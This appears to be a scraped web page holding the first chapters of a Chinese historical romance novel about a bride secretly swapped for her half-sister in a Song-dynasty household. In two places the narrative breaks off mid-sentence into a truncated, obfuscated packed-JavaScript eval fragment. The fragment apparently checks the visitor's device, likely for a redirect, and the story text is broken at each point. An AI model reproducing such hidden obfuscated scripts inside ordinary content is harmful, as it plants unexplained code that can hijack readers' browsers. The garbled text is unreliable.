《错嫁因缘》 1. 一、多事春宵 好痛啊…… 她摸了摸自己的头,一双眼却是如何也睁不开。 “呜哩哇啦……”好吵,唢呐欢快的奏鸣夹杂着人声的喧闹。 “新娘子到啦,咱们接新人喽!” 一群人,吵吵嚷嚷,正犯迷糊,就被人扶了出来,轻飘飘的身子,也不知道被搀去了何方。恍恍惚惚中半眼微睁,红色,红色的鞋、红色的衣裙、红色的……盖头?这……这是怎么回事?她伸出手,想掀开蒙在头上的盖头,可身边的人立马抓住了她的手,并在耳边低声道:“姑娘不要轻举妄动,照规矩做就行。” 她愣了一下,想必是喜婆的声音,眼下情况不明,也只好任人摆布了。 “姑娘,跨鞍了。”在喜婆的搀扶下,她轻轻一迈,随后便走进了正厅。 “一拜天地!”仪式开始了,喜婆在旁边不忘时刻提醒她,何时该做何事。 “二拜高堂!”才弯下腰,前方就传来一位老年男子的声音,“呵呵,好!好!”声音浑厚苍劲,想必是公爹了。 “夫妻对拜!”低头间,透过那一角盖头,只看到对面那个男人的脚,他会是谁呢?可,自己又是谁呢? 容不得多想,仪式结束后,她就被扶到了新房,坐在了床的一边,另一边,就是他的夫婿,跟着进屋的,男女老少,一片欢闹,“快,快让新郎掀盖头,让大家伙瞧瞧新娘子的花容月貌!”众人哄笑着催促,倒是喜婆不紧不慢,依着礼制,向新人的床上撒了好些枣子之类的果子,寓意着“早生贵子”。 “新郎掀盖头了!”喜婆笑嘻嘻地催道。这新郎,果然是个有耐性的,在众人的数次催促后,对面的人才慢吞吞地掀开了自己的盖头。四目相对,竟如此陌生!只见男子眉头暗锁,倒不像是期盼着迎娶自己娘子的样子。他的眼神,一刻也不愿在自己身上停留。 “快看,新妇好美呀!眼睛像天上的月亮!”一个小妹妹大声赞着。 “请新人结发!”两位喜婆走上前来,正准备用剪子从这对新婚夫妇的发髻上各取下一小缕头发。只见男子用手臂挡住了前来结发的喜婆,“结发是夫妻间的契约,今天就不必了!” 他的语气是那样的冰冷,眉宇如生霜雪,想这一身红衣穿在他的身上是多么的不合时宜。可这种情形下,大家不免有些尴尬,更别提作为新妇的自己了。她不由得低下头,心想,这俊朗的男人,心却如此凉薄吗? “额,那,珠帘绣幕蔼祥烟,合卺嘉盟缔百年!请新人喝合卺酒!”喜婆干笑了几声,只能是快点应对完今天的礼仪流程。 男人看了看递过来的酒,径直拿起自己的那杯,一饮而尽,扔下愣在一旁的自己。好吧,既然不顾及她的脸面,那也没什么好尴尬的,想罢,自己也端起了酒,一口咽下,强忍着那股辣辣的刺痛。 众人哪里见过这样尴尬的场面,一个个面面相觑,又不约而同的呵呵傻笑,紧随着喜婆向新人道着百年好合、早生贵子。新人这边的仪式算是结束了,众人方脱了身,都去前厅用宴,只剩下一对新人各怀心思的坐在床边。 男子猛然起身朝着门外走去,好像想起了什么,又停住了脚步,背对着她,冷冷说道:“宋意欢,不要以为你费尽心机嫁进了苏府,就能当我苏明锦真正的妻子,老实守着你的名分,不然,别怪我不客气!” “苏明锦、宋意欢,我叫宋意欢?”她一脸茫然。 “哼,没想到还是个傻子。”苏明锦嘲讽一句,便拂袖而去。 “哼,什么了不得的人物,有本事别让我但这个虚名啊,哼,好像我看上你了似的……”宋意欢不屑,自顾自的嘟囔。这大喜的日子,虽然让自己失了颜面,不过,好歹知道了自己的名字,呃,还有那个冷面鬼的。 眼见的,天也渐渐黑了。其间只有苏府的婢女进来送饭送水,再无其他人。宋意欢心里嘀咕,怎么不见自己身边的贴身婢女,按理说,出嫁女是会带走自己贴身丫头的。从进府开始,身边就只有喜婆陪着,到现在,众人皆散去,自己身边却没了人,可见,自己出嫁并没有人陪同,这是为什么呢?此时的宋意欢虽然身子有了力气,自己的脑袋还是昏昏的。她努力的回想,只记得母亲在自己年幼时便因病去世,父亲多年后又续了弦,生了个妹妹,自此之后,她在家里就像是个外人,不受重视。至于为何会嫁入苏家,自己也是懵的,早些年也没听说和他们有什么婚约。算了,不想了,还是早些安寝吧,想来明天还是要起早拜公婆的。宋意欢取下了发饰,自己铺了床,一头倒了下去…… 一声鸡鸣啼破长夜,也搅了宋意欢的清梦,她揉了揉惺忪睡眼,环顾左右,不由感慨:“看来冷面鬼果真是不会踏入新房一步啊。”勉强的支撑起身体,梳洗打扮,长辈面前可不能失了礼数。外面的婢女听到了里面的动静赶紧进门伺候。 “二夫人起得真早,奴婢伺候您梳妆!”说着,一位身着绿衣的小丫头就拿起梳子,给宋意欢梳妆。 宋意欢问道:“二夫人?那个冷……呃,苏明锦还有个哥哥?” 小丫头答道:“是呢,主君膝下两子,大公子苏明轩在湖州任知州,咱们二公子是武将出身,在殿前做事。” 宋意欢心想,原来是舞刀弄棒的,怪不得眼神那么凌厉逼人,继而又问道:“你叫什么名字呀?是伺候二公子的吗?” 小丫头笑了:“奴婢名叫绿珠,之前是大公子院的,大公子外任后就被叫到二公子院,嬷嬷们看二夫人没有带贴身丫头,就让奴婢过来专门伺候二夫人。” 宋意欢笑了笑,“绿珠,果真是好名字,难怪你穿一身碧色衣服。” 绿珠高兴的回道:“咱们大公子那可是官家钦点的探花,好文采呢,这名字可是有典故的,好像、好像是什么西晋的美女呐!” 宋意欢尴尬地笑了,这苏明轩真有意思,起什么名字不好,非要找个红颜薄命的。自古文人都一般,附庸风雅却消遣女子。却见眼前这丫头着实喜欢“绿珠”这个名字,自己也就不好多说什么了。 宋意欢在绿珠的帮助下精心打扮一番,便急匆匆的向内院正堂走去。按照规矩,一对新人得一大早向公婆问安的。虽然丈夫不在,但,毕竟是新妇,自己也不能不依着礼节。在绿珠的陪同下,宋意欢来到了公婆居住的院子,还没到门口,家里的老管家就主动迎了出来, “二夫人,主君寅时初就被官家召进宫了,临走前吩咐老奴告诉二夫人,这几日不用前来问安,好生休养身体,待主君回府,定让二公子给您赔不是。” 宋意欢点了点头,随后就同绿珠走回别院。绿珠看宋意欢心下疑惑,便宽慰道:“二夫人,主君名讳苏瑷,在枢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宋意欢并未坐下,而是直起身子,对着苏瑷说道:“公公,按照规矩,儿媳应该在新婚第一天早晨给您敬茶的,今天公公忙完了公务,儿媳自当补上这杯茶。”苏瑷赞许的点了点头。 “儿媳宋意欢给公公敬茶!”说罢,便将刚刚盛满茶水的杯子敬给了苏瑷。 苏瑷接过杯子,抿了一口,想着自己儿子大婚之夜弃新妇于不顾,丢尽了苏家的门面,而这新妇却心胸豁然,又不由得多了几分赞叹。 苏瑷脸露愧色,缓声道:“你的这份孝心我心领了,唉,怪我多年驰骋疆场,对明锦疏于管教,让你受了那么大委屈。你放心,那小子我定抓回来,让他给你赔不是!” 宋意欢笑了,“多谢父亲体谅,清欢日后定会侍奉好长辈,万事以苏府为主。” “好、好!”苏瑷赞许道,“你先养好身子,咱们府没那么规矩,也不用日日来问安,之前府上的事都是你大嫂打理,等你养好精神,让徐总管跟你说说府上的事,以后啊,这个家还得交给你们。” 宋意欢见不好回绝,只得硬着头皮应了下来。 转眼到了第三天,新妇在这一日,是要带着丈夫回到娘家拜见爹娘的,可苏明锦自新婚之夜起便离家出走、不知所踪,这让宋意欢很是为难。可想要记起自己的过往,就必须回到自己家中,思来想去,宋意欢做了一个大胆而荒唐的决定:一人回门。 2. 二、移花接木 一大早,宋意欢就备好了要带的回礼,在绿珠的陪同下,坐上了马车,缓缓而行。似乎过了不到半个时辰,马车停下了,轿夫的一声咳嗽,惊起墙头打盹的几只麻雀。宋意欢下了车,“宋府”二字映入眼帘。两边的大红灯笼随风轻轻地转了个身,露出背面未描金的素青木头。宋府门前的石狮子还披着办喜事用的红绸,风一过,绸角簌簌掀起,又缓缓飘落,露出了藏在底下的几片炮竹碎屑。门半敞着,隐约看到一个单薄的身影。 那个身影看见她就跑了过来,是一个和绿珠般大小的俊俏丫头,一把抱住她声泪俱下。 “姑娘,您可回来了!您受委屈了!” 宋意欢脑间忽的闪过几个断断续续的画面,眼前人好生熟悉,对,是自己的贴身婢女,叫、叫什么来着? “别哭别哭,旁人看着呢,我又没什么事。”宋意欢拍着小丫头的背安慰着。 “姑娘,快进去吧,主君和夫人在里头等着您呢。” 两个丫头一左一右,陪着宋意欢绕过弯弯的长廊,看着这熟悉而又陌生的环境,宋意欢百感交集。 路过廊边的小池塘,宋意欢却停下了脚步,脑中似一阵抽搐。 “这里、对、就是这儿,我就是在这儿掉进水里!之后才想不起些事情的!” 小丫头这才反应过来,难怪姑娘对于自己的痛哭有些茫然呢。 “姑娘,我是小舟呀!” 还没等小舟说完,不远处缓缓走来一位衣着明艳的妙龄佳人,水葱似的手上握着一把团扇,停在了宋意欢的面前。宋意欢仔细端详着这位佳人:白皙的皮肤,像极了一块儿上好的羊脂玉。小巧精致的五官,只是微微抿着时,那道弧线便显得有些锋利。云鬓间的金簪沉甸甸的,抬手一扶,腕上碧青色的镯子泠泠作响,如同天籁。双眸如星子般深邃,眼神扫过来时,倒叫人想起腊月屋檐下的冰凌,好看,却冷得逼人,不敢伸手。 她在家里深受大家的喜爱吧。不过,也的确如此,同样是府中的姑娘,待遇却是云泥之别。 “呦,姐姐回门啦?”迎面而来的女子用团扇掩嘴一笑,眼角轻挑,“姐夫呢?怎么没见着姐夫一起回来啊,难道新婚夜逃了之后就再也没回来?哈哈哈……”说罢,挤过宋意欢的肩头,摇着团扇、一摆一摆地走开了。 “小舟,想起来了!我想起来了!我落水肯定跟她有关系,她、她是、她叫……”宋意欢有些语无伦次了,小舟和绿珠连忙制止了她。 小舟边走边对着宋意欢小声道:“姑娘,这是您同父异母的妹妹,仗着主君和主母的宠爱为所欲为,经常刁难姑娘。姑娘的生母早逝,这继主母李婷可没少给您气受。”小舟颇有不平之气,“咱们快些走吧,别让主君他们久等,不然又说姑娘怠慢了。” 宋意欢思绪纷杂,容不得细细回想,只能加快脚步,朝着正厅走去。 “女儿回门,父亲、母亲堂安!”宋意欢俯首跪在地上,等待着长辈训话。 宋时轻呷了一口茶,说道:“清——、意儿,起来坐吧。” “谢过父亲母亲。”宋意欢小心翼翼地坐到了两侧的椅子,这才敢抬头仔细端详自己的生身父亲,分明是慈眉善目,格外温和。 “你看这孩子,都瘦了好大一圈,定是受了不少委屈,怎么?新姑爷不好相与?对了,怎么没看见新姑爷呢?” 说话间,但见一妇人,莲青色的缎褙,领口襟袖皆盘着四合如意云。髻梳得一丝不苟,一支步摇斜插云鬓,射出的光影一闪一闪。眉眼画的浓淡相宜,看不出喜愠。她坐在宋时旁边,关切地问道。虽然已经有了那个及笄的女儿,脸上却丝毫看不出岁月留下的痕迹,端庄大气、雍容华贵,难怪在府中独宠多年。 宋意欢一听这话,明面上是关心自己,而实际上还不是在看自己笑话,整个汴京城都知道自己的夫婿在新婚夜弃她而逃,可宋意欢却不能当面戳穿这位“体贴人”的继母的话,只能赔笑道:“多谢母亲关心,既然家里许了这门婚事,一切爹爹都会做主的。” 宋意欢并没有正面回应主母的问题,而且扯上了家族门楣。出嫁的女儿在婆家地位如何,还有一部分是娘家给的底气,这正是宋意欢所缺少的。 宋时顿时表情严肃,说道:“嗯,得空我必得见见苏大人,苏明锦这小子,分明是不给我宋家脸面,你在家住几日吧,好生养养身子。” “谢谢爹爹!女儿退下了。”宋意欢拜别二人,一瞬间瞥到了父亲脸上的几分愁云、主母眼中的一丝不快。不做过多停留,宋意欢回到自己闺中。 夜里,宋意欢睡得很沉,梦中的自己仿佛在重走这十八年来的辛酸路,她看到了年幼丧母的自己亲眼见着父亲另娶他人、生育孩儿,似乎早已忘了宋意欢这个人的存在。她看到了继母对她的百般刁难,却在父亲面前装出一副贤德的主母模样。她还看到了,妹妹哄骗她到廊前的池塘边,趁着自己疏于防范,一把被她推落水中。” “清欢、清儿,我的女儿……娘好想你啊……” “娘,你在哪啊?意欢想你!不,意欢?意欢不是妹妹吗?娘,我是谁?” “清儿,我的女儿……娘好想你啊……” ”娘,回来!回来啊娘!……娘——” “姑娘、姑娘怎么了?快醒醒,怎么魇住了?” 眼前,一个瘦削的身影,渐渐清晰,点点烛光,映着小舟焦急的脸庞。 “小舟,我梦到了,我想起来了,我……”她哭了,抱着小舟,只有这个小丫头,才真心待自己。 “姑娘,别怕、别急。” “小舟,我才不是意欢,不是宋意欢!我是宋清欢!我是被他们骗了!” 她喘息着,豆大的汗珠从额头上淌下来,小舟递过一盏茶,搂着宋意欢的背安抚着,慢慢地,才恢复平静。 “二姑娘出嫁前日,姑娘被二姑娘邀出去赏荷,主母还派人叫了咱们院的人去前厅布置、洒扫,不一会就听说姑娘失足落水。主母把姑娘安置在二姑娘院,我想见一见都不能够。可后来,二姑娘却没有出阁,主母还把我关起来了,姑娘回门才放我出来。” “果然,我被他们母女骗了,可父亲却还是不肯顾着我,难怪他喊我名字时表情那么奇怪。”宋清欢眼神空洞,暗自神伤,平复了心情,她才慢慢地回忆起那日的情形—— “喂!虽然你我平日不对付,但总归是同父异母的亲姐妹,明日我就要出阁了,陪我一起去看看荷花,顺道说说话吧。”出嫁的前一日,宋意欢竟破天荒的主动跑到了宋清欢面前,邀请她池边赏荷。 “难得难得,怕是妹妹醉翁之意不在荷吧。”宋清欢哂笑。 事出反常必有妖,随着宋意欢的出生,父亲的所有目光都被吸引过去,仿佛和继母、意欢,他们才是真正的一家人。宋清欢伤感却也无奈,而随着继母对自己的百般刁难、意欢无休止的冷嘲热讽,宋清欢的伤感慢慢地,变成了厌恶。可恨自己身后没有娘亲撑腰,只能是小心翼翼的应对着她们母女两个的发难。 宋意欢撇撇嘴,委屈道:“你别把好心当驴肝肺!哼!” “好好,听你的便是。”宋清欢无奈,只得跟着她走了出来,两个人有一搭没一搭的说着,可真是三句话都对不上,真是难为她们两个了。 “哎呀,你看池里的红鲤鱼多好看!红药,你赶紧回去取鱼食,快点快点!”宋意欢不耐烦的催促着。 宋意欢的贴身婢女红药忙不迭地跑着回去取鱼食,这时,只剩了姐妹二人站在池塘边,宋意欢率先打破了沉寂。 “呵呵,你是大姐,本该是你先出阁的。五年前,苏家长子苏明轩求娶婉柔表姐,之后就与我宋家定下了婚约,却没说到底娶咱们姐妹哪一个。” “婚姻之事,父亲自有安排。何况,苏家家世不凡,这门亲事,母亲可是极力促成的。” “谁是新妇,不到喜堂之上,谁又能说得清呢?” 宋意欢莞尔一笑,便沿着水边欣赏风景,“哎呀!”宋意欢脚底一滑,惊慌失色间双手拽住了身旁的宋清欢。宋清欢毫无防备,一下子滑进了水中。 “救命啊!救命……”两个人在水中挣扎,宋意欢靠近岸边一些,尚有余力自救,而宋清欢就没那么幸运了,她挣扎着,四肢被池里的藤草缠绕,只能拼命的扯着荷茎,依旧被灌进肚好几口水,连呼救的机会都没有。渐渐地,宋清欢眼前有些模糊了,四周冰冷的水似乎变的温暖,就像,记忆中母亲的怀抱。 “母亲、母亲……”宋清欢喃喃自语,湖水漫过了她的鼻子,她渐渐地没了意识。 “等我醒来,就已经在出嫁的喜轿上了,而且不记得之前发生的事,今日回门,见了家中故人旧物,做了一个噩梦,反倒刺激我想起了过往。” 小舟心疼的望着宋清欢,恍然道:“难怪主母不让我出她的院门,一直到姑娘回门后才肯放我。” 宋清欢若有所思,看来,一切都是李婷策划好的,而宋清欢一旦出嫁,木已成舟,父亲也不好再说什么。本来苏宋两家就有婚约,况且,苏明锦压根也不知道宋意欢长的是什么样子,只有一个人除外:李婉柔,宋意欢的表姐、自己在苏家的嫂嫂。移花接木,姐妹易嫁,估计也和她脱不了干系。 “小舟,没事了,还好有你在,你去歇着吧,我好了。” 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“欢儿,看来你都记起来了。爹对不住你,没想到她们整了这么一出。眼下苏明锦那小子对这桩亲事极为不满,若是此时知道了你们姐妹易嫁的事,那就正好被苏家抓住把柄,所以,你还是得以意欢的身份留在苏府。” “可是父亲,妹妹也到了论嫁的年纪,那她也要顶着清欢的名字出阁吗?什么时候才能做回自己呢?” “这……”宋时没有想那么长远,“能到几时到几时吧,毕竟,我宋家的颜面丢不得。” “父亲,若真在意我宋家颜面,母亲就不该想出这暗度陈仓的法子。再者说,苏宋两家确有婚约,明明这门亲事是母亲给妹妹许下的,为什么出阁的前几日就突然悔婚了呢?” 只见宋时的双眉皱得更紧了,他一言不发,若有所思,沉默片刻,只说出一句话:“不能议论长辈。” 宋清欢愕然,想来此中必有蹊跷,只是都瞒着自己罢了。宋时又嘱咐了一些无关紧要的话,才放心的让宋清欢离开了娘家,在宋清欢的一再坚持下,宋时才在未经主母同意的情况下,允许她把小舟带走。 轿中,宋清欢左边拉着小舟,右边牵着绿珠,深情款款道:“你们两个,一个是我娘家陪我长大的玩伴,一个是我以后在苏府生存下去的依靠。咱们的处境,大家都心知肚明,倘若我们三人不是一条心,那,以后的日子……” “姑娘,小舟对您的心,天地可鉴!” “二夫人,绿珠与您共进退!” 说完,宋清欢将二人的手,同自己的,紧紧握在了一起。 苏府还是一如既往的肃静,公公苏瑷忙于朝政,无暇顾及家里。又没有当家主母,唯一的女主人,也就是苏明轩的妻子、宋意欢的表姐——李婉柔,她随着丈夫出任地方,除了她,那就是宋清欢这位新过门的二夫人了。尴尬的是,宋清欢没有公公的授意,更没有丈夫给予实质性的洞房花烛,所以,在这个偌大的府中,她算什么呢?坐在新床之上,宋清欢无精打采,看着小舟和绿珠收拾房间。 “绿珠,以后咱们就都是姑娘的人了,你却瞒的我们好苦,如今咱们院的人,在府中连个嬷嬷的地位都不如,你家这二公子到底怎么回事?这回门也不来,是把宋家当什么呢!”小舟还是那么沉不住气,替宋清欢抱不平。 绿珠顿时手足无措,停下了手里的活,她不敢直视宋清欢的眼睛,只是垂头低语:“二夫人,我……我不是有意瞒着您的,只是……” 这个苏明锦,那么冷漠、无礼,宋清欢讨厌这个人。就是因为他,给自己带来诸多非议,但讨厌的同时,自己也是充满了好奇,究竟是为什么。绿珠支支吾吾,更是勾起了她的兴致。 “二夫人,我也是,呃,也是听府里的嬷嬷们嚼舌根,说是二公子有个相好的人。但是不是真的,就不知道了,所以就没有和您说。” “相好的?哼,收进屋做妾不就得了?破烂摊子非得丢给姑娘。”小舟依旧是骂骂咧咧。 “绿珠,你可知二公子的心上人是哪家姑娘?”宋清欢却是不恼,她只是想知道事情的真相。 “说什么的都有,有说是相府的千金,也有说是西巷‘杏雨天’的行首,反正两人情深意重的,二公子不满主君给定的亲事,又忤逆不了主君的意思,所以,就……跑路了。” “绿珠!”小舟对着绿珠挤着眼,生怕那个什么“情意深重”刺激到宋清欢的心。 “无妨,哼哼,我怎么会在意那个冷面鬼的情意?”宋清欢嗤笑,如今,她更在意的,是如何在这里好好的生活下去,什么时候才能做回真正的自己。至于冷面鬼,哼,终有一天,她将不再让他随意看轻自己。 3. 三、“不惜金屋备藏娇” 初嫁苏府,日子还是比较悠闲的,这段时日,朝中局势乱的很,再加上金兵在北境蠢蠢欲动,苏瑷几乎日日守在朝堂。徐管家按照主君的吩咐,先带着宋清欢熟悉府中环境:正厅及内院是苏瑷平时的居所,“远人堂”三字正挂门前。 “‘暧暧远人村,依依墟里烟’,想必父亲喜读陶诗,以此做了院名。” “正是呢,二夫人心思灵巧!主君不常在府,平时主君的住处除了几个洒扫的嬷嬷、男丁,就不准其他人出入了。” 左侧院子名为“清晖轩”,宋清欢料定,这便是苏明轩夫妇的住处了。他们夫妇二人虽不住在此处,但院内也是每日清扫,颇显得干净别致。右边的院子“清风阁”便是她和苏明锦的了。 “二夫人,主君吩咐了,您才嫁到府上,先熟悉各院环境、人员,等来年您在接过管家的事。” “嗯,我会留心学着,日后少不得要劳烦徐伯。” “不敢不敢!一切凭二夫人驱使。” 徐管家又带着宋清欢转了转府中的厨房、后园、库房等地方,又将负责这几处的人都一一让宋清欢认一认。宋清欢这几日见的人本就多,脑子才清醒些,哪里能一下子记住这么多人,少不得以后要多费些功夫了。 熟悉完了府中各院,徐管家命人拿来了一摞厚厚的本子递与宋清欢。 “二夫人,这是上月府中的所有开销,这两本是每月的采购单子。” 宋清欢接过其中一本,随意地翻了一翻,吃穿用度、各处开销应有俱有。 “二夫人,之后每个月的账本我都会按时送您这过目,几处管事的嬷嬷也会时常过来向您请示。” “这……” 绿珠似是看出了宋清欢的窘迫,急忙道:“哎呀,二夫人,您可是咱们府上三媒六聘娶进门的正经主子,哪个敢不恭敬着?再说了,主君常年忙于公堂,有时还会领兵出征,徐管家这一把年纪,总不能让他累出个好歹吧。” “正是这个理儿呢,老奴日后啊必定会全力辅助二夫人的。” 宋清欢看了看对她挤眉弄眼的小舟,还有徐管家和绿珠的笑脸,点点头,算是下定决心,接下了日后管家这一大差事。 不知不觉已经过了晌午,水足饭饱后不觉困意来袭,宋清欢回到了清风苑中自己的卧房,对,之前是他苏明锦的,不过,现在也是自己的了,既然嫁了过来,苏明锦的一切,自己也是有权利去享用的,无可厚非!管他人在何方,这里现在都是我宋清欢的! 斜欹在枕榻之上,宋清欢示意不用盖什么,虽是入秋,却是余暑未尽。 “你看,二夫人和墙上挂的那幅《美人春困图》像不像?”一旁的绿珠指着墙上的画小声问着小舟。 “嗯?我看看,眉眼处是像,但怎么看怎么觉得姑娘要比画中的美人美上百倍!”小舟得意地一笑,“趁着姑娘睡着,咱们去堂屋整理下姑娘的衣物首饰吧。” 绿珠点点头,说罢,两个人出了卧房。 另一边,苏明锦消失了半月有余,这天,他匆匆忙忙的、不知从汴京的哪个犄角旮旯冒了出来,一骑绝尘的奔向了家里。 “二公子,夫人正在卧房睡觉,需要把夫人叫起来吗?”门口的小丫头叶儿见到苏明锦吃了一惊。 “不用。” 苏明锦径直走进内室,从箱子里寻了两件自己的换洗衣物,就准备离开了。经过自己这位夫人的身边时,他停住了脚步。瞥了一眼正在熟睡的宋清欢,自言自语道:“居然跑到我的榻上睡觉,居然还能沉得住气睡觉,宋意欢,你不简单啊。新婚之夜让你落人笑柄,实在是对不住,可,毕竟我对别人有诺在前,与你婚期在后,我会让父亲给你应有的体面。但愿你能顺遂如意、日日欢喜。今后啊,你自己一个人,就踏踏实实的在这里睡个够吧。” “咦?那不是二公子吗?”绿珠揉了揉眼睛,拉着不明所以的小舟飞似的进了卧房。 “二夫人二夫人,快、快醒醒!” “绿珠,你真是的,慌慌张张,姑娘才睡没一会,你就聒噪喊叫。” “不是啊,二、二公子他、他回来了!” “啊?这可怎么是好。姑娘、姑娘快醒醒。” “别叫了,我醒着呢。”宋清欢缓缓睁开眼,原来苏明锦翻箱子找衣服时,就把她吵醒了,她一向是睡眠很轻的。 “二公子好像走了,要不我追上去,把少爷叫回来?。”绿珠不知如何是好。 “绿珠,你赶紧命人牵一匹快马到府门口等着。”宋清欢忽的从床上下来,抓起自己的帷帽,跑向屋外。绿珠赶紧去叫人牵了马,小舟一愣一愣的,只是跟着宋清欢身后大步的跑。府门口,宋清欢牵过马,对着门口的小厮,厉声问道:“二公子朝着哪边去了?” “回二夫人,二公子上了马,一直往东边去了。” “驾!”宋清欢大喝一声,一骑扬尘而去。 “姑娘你去哪里呀?”小舟大喊,着急的不得了。 “在家等我——” 飞尘扑面,只留下小舟和绿珠茫然无措的呆立在原地。 宋清欢朝着东边的巷子一路奔走,却没有见到苏明锦的影子。可是,就算见到他,自己也未必认得出了,毕竟两人才见过一面啊。不想了,见到见不到,随缘吧。突然,前面转弯处,见一男子正在买路边的吃食,随后就骑马离去。宋清欢仔细地瞧着他的背影,瘦削高挑,似乎从后背都冒着寒气,没错,就是他!跟上! 宋清欢悄悄地跟着苏明锦,一路出了城。穿过一片竹林后,苏明锦下了马,缓缓行在一片翠色之间里,衣袖被风儿拂起又落下,露出细瘦的手腕。步履匆匆,似是急着赴一场期待已久的约。踏过青石板时,衣摆轻扬,似有若无。渐行渐远间,终化作竹林尽头的一抹淡影,融进翠绿。 远远地看到一处幽僻的小院子,宋清欢赶紧下马,偷偷地接近那里,找一丛野草,在后面蹲了下来。小院的门口候着一位婀娜的粉衣女子,看不清相貌,只辨得一抹瘦影,静静嵌在青蒙蒙的天与地之间。见苏明锦归来,激动地跑过去握住了他的手,看来是在院门等待多时了,两个人边说边笑地回了屋子。他们身后是几株疏柳,炊烟正从矮屋瓦楞间浮起来,丝丝缕缕地缠上树梢。 宋清欢远远地望着,呆愣在原地,思绪万千。如果是别的男人,她倒是会称颂一番这样的缱绻生活,可这个人偏偏是自己的新婚丈夫。宋清欢不在意什么小儿女情爱,她想得更多的,是一个很现实的问题:如果苏明锦耽于外面的花草,永不回府,那她自己将如何立身呢?公公能护她一时,百年之后又如何是好? 宋清欢默默地对自己说道:“未来,要掌握在自己手中,决不能失了身份,沦为别人的阶下囚!” 刚到府门口,小厮就激动地喊道:“二夫人可算回来了,绿珠姑娘和小舟姑娘急的像热锅上的蚂蚁,非要在门口等着您,外面起风了,这才把她两人劝了回去。”宋清欢把马牵给小厮,快步跑回了清风阁。 “姑娘,您可算回来了,我和绿珠都要急死了!” 宋清欢走进室内,神情有些漠然,她一下子瘫坐在桌前,浑身没了气力,接过绿珠递过的茶,一饮而尽。对于小舟的急切关心,她却不知道如何一一回应。 “绿珠,你上次说,苏明锦有了心上人,我今天悄悄跟在他后面,跟了很远,跟到了城外的一处院子外,看到了她。” “他?哪个他啊?新姑爷吗”小舟不明所以,听的云里雾里的。 “取我的纸笔来。”宋清欢吩咐道。 小舟虽不知宋清欢葫芦里卖的什么药,也不敢多问,只是照做。宋清欢铺展宣纸,提笔蘸墨,几处落笔,便勾勒出一个美人模样。转头问道:“绿珠,你可识得这个女子?我只是远远地瞧着,并不真切,她一袭粉衣,举手投足的娇怯,倒不像是大户人家的女儿。” “这、这瞧着像是‘杏雨天’的李姑娘,名唤意如。一年前,主君做寿,她们过来献艺。” “哼,想来如此,早在一年前,苏明锦那小子就佳人有约了。”宋清欢冷笑道。 “二夫人,绿珠说句不该说的,二公子私养外室,对您、对苏家,都不是什么光彩的事,即使您以后接过了掌家之权,但二公子一直不回府,以后夫人您该如何自处?所以,您不能坐以待毙。” “绿珠,你说的,正是我心里想的,往大了说,这关系到苏、宋两家的声誉,往小了说,也关系到咱们日后在府中能否安稳度日。”宋清欢长嘘一口气,似乎是下定了某种决心。 朝堂之上,众臣子正在赵佶面前喋喋不休的争论着。 “十月初九方腊率众在歙县七贤村起义,见到官吏及其爪牙全都杀掉。不旬日,聚众数万,从者如云,攻城夺池,自号圣公。他们一众人接连攻陷几十座州县,部众发展到近百万,威震东南,叛贼势头正足,望陛下准臣带兵讨伐。”枢密院事杨自忠恳求赵佶。 “臣以为大可不必,自陛下主持朝政以来,各州县的农民起义,数不胜数,没有千件,亦有百余,皆由地方镇压,虽说是耗费了些时日,想那方腊众人,一定不成什么气候。”监察御史董中对此事不以为然。 “苏瑷,你怎么看?”赵佶没有理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“臣不敢,臣以为,地方先全力镇压,缉拿要犯,并明其起义根源,地方政策就此查漏补缺。若起义者穷凶极恶、不知好歹,那臣愿领兵,亲自缉拿方腊!”苏瑷进退失据,只能找了个折中的法子让自己不被各方刁难。 “好,那就依苏瑷所言,先让州县去解决这起暴动。”赵佶不紧不慢,他早就见惯了朝堂上的这些把戏,不过,坐山观虎,倒是找到个没有太大分歧的解决办法。 苏瑷终于长吁一口气,这一关,算是过去了。但对于董中和杨自忠,自己始终不愿轻易战队,但愿不要因为今天的事开罪于二位吧。 听说公公今日忙完朝务回府,宋清欢一早就让厨房准备了饭食,清淡且营养充分。这几日的繁忙,苏瑷的身体已然吃不消了,但更多的是精神上的高度紧张。回到自家府中,心中总算是松了口气,还好,府中大小事务,这个新儿媳在学着一点点的打理着,自己也算欣慰。哎?不对啊,苏明锦这小子还没回家? “我不在这几日,明锦没回来过?”苏瑷放下了刚端起的羹汤。 “呃,父亲,嗯,明锦他,确实回来过一次,只不过……” “怎么吞吞吐吐的,那小子没给你好脸色吧,又跑出去了?” “嗯,取了些贴身衣物,一刻不留,就走了。” 苏瑷“啪”的一声,把筷子重重的放到了桌上,“不争气的逆子,徐管家,你叫几个得力的,去寻一寻,把那逆子绑回来!” “徐伯且慢!”宋清欢示意徐管家退后,柔声对苏瑷说道,“父亲,儿媳向您说句实话吧,明锦早已和‘杏雨天’的李意如私定了终身。也是我不仔细,早知道这样,当初就不该嫁过来,倒不如成全他们罢了。” “这是什么话,苏宋两家本就有着婚约,既嫁了过来,那就是明锦正儿八经的夫人!” “明锦既然离家不归,在外金屋藏娇,可见他们二人早已情意深重。若父亲执意强迫他回府,我想,他会更加记恨我了,到那时,明锦就更不会回家了,儿媳也不知该如何自处。” 苏瑷点了点头,是啊,自从上次的新婚风波后,京城里少不得要传几句苏家的闲言碎语,他怎么会不在意自己儿子的生活呢。清流官员最重要的便是官声与人品,而后宅安宁方是最有力的支撑。 “不然,请父亲成全明锦,纳李姑娘入府吧?”宋清欢试探着,见苏瑷不悦,又接着低语,“啊,是儿媳浅薄了,咱们这样的人家,怎么会允许坊间女子入府,不知道朝堂之上,又会怎样议论父亲。可,明锦的心不在家里也就罢了,人也不在,是儿媳无能。” “你哪里是浅薄啊,分明是事事为家里着想,为我这个老头子着想。明锦要是有你一半的孝心和聪慧,就不至于像如今这样,被一个风尘女子弄得神智全无。如你所说,这个时候逼他是没用了,也不能任由他一直在外不归,但苏家也绝不会纳这样的人做妾。这样吧,就让她以婢女的身份入府,别妄想什么名分!” 至此,宋清欢下完了她的第一步棋。 4. 四、“我妥协了!” 